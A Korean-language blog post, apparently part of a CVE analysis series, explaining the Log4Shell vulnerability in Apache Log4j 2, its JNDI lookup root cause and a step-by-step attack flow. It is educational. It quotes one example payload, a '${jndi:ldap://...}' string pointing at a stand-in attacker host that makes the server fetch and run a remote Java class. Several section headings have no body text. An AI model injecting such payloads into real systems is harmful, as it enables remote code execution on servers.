← 목록으로

CVE-2021-44228 (Log4Shell): 로그 한 줄로 서버를 장악당한 사건

[CVE] CVE 분석 · 작성: 2026-07-19 19:39:08 · 조회 4

Log4Shell은 자바 로깅 라이브러리 Apache Log4j 2에서 발견된 원격 코드 실행 취약점이다. Log4j가 자바 생태계 전반에서 사실상 표준처럼 쓰이는 로깅 라이브러리였기 때문에, 이 한 취약점이 셀 수 없이 많은 서비스에 영향을 미치면서 2021년 말 보안 업계 전체를 뒤흔든 사건으로 기록됐다.

근본 원인: JNDI Lookup 기능

Log4j에는 로그 메시지 안에 ${...} 형태의 특수 문법을 쓰면, 그 자리를 실제 값으로 치환해주는 "Lookup" 기능이 있었다. 그중 ${jndi:...} 문법은 JNDI(Java Naming and Directory Interface)를 통해 원격 서버에 접속해서 값을 가져오는 기능까지 지원했다.

logger.info("User-Agent: " + userAgent);  // userAgent는 사용자가 통제하는 HTTP 헤더

공격자가 User-Agent 같은, 애플리케이션이 별 생각 없이 로그로 남기는 값에 아래와 같은 문자열을 넣으면:

${jndi:ldap://attacker.com/malicious-class}

Log4j가 이 로그 메시지를 처리하는 순간, 로그를 "기록"하는 게 아니라 저 LDAP 주소로 실제 네트워크 요청을 보내서 원격 서버가 지정한 자바 클래스를 다운로드해 실행해버린다. 로그를 남기기만 해도 코드가 실행된다는 게 이 취약점의 충격적인 지점이었다 — 로그인 폼, 검색창, HTTP 헤더처럼 로그에 남는 모든 사용자 입력 지점이 잠재적 공격 표면이 됐다.

왜 이렇게까지 광범위했나

공격 흐름 요약

  1. 공격자가 애플리케이션이 로그로 남길 만한 입력값(HTTP 헤더, 폼 필드 등)에 ${jndi:ldap://...} 페이로드 삽입
  2. 애플리케이션이 이 값을 Log4j로 로깅
  3. Log4j가 JNDI Lookup을 수행하며 공격자가 통제하는 LDAP/RMI 서버에 접속
  4. 그 서버가 응답으로 악성 자바 클래스 정보를 반환
  5. 취약한 JVM 설정에서는 이 클래스가 그대로 로드되어 실행됨 (임의 코드 실행)

패치와 완화

이 사건이 남긴 교훈

CVE 분석 카테고리의 글 (2/8)

  1. CVE-2024-3400: Palo Alto PAN-OS GlobalProtect 원격 코드 실행
  2. CVE-2021-44228 (Log4Shell): 로그 한 줄로 서버를 장악당한 사건
  3. CVE-2014-0160 (Heartbleed): OpenSSL 하트비트가 새어나간 메모리
  4. CVE-2017-0144 (EternalBlue): WannaCry를 전 세계로 퍼뜨린 SMB 취약점
  5. CVE-2021-34527 (PrintNightmare): 프린터 드라이버 관리 기능이 만든 권한 상승
  6. CVE-2022-0847 (Dirty Pipe): 파이프로 읽기전용 파일을 덮어쓴 취약점
  7. CVE-2021-3156 (Sudo Baron Samedit): 힙 오버플로우로 root 획득
  8. CVE-2022-22965 (Spring4Shell): 클래스 로더 조작으로 이어지는 RCE
← CVE-2024-3400: Palo Alto PAN-OS GlobalProtect 원격 코드 실행 CVE-2014-0160 (Heartbleed): OpenSSL 하트비트가 새어나간 메모리 →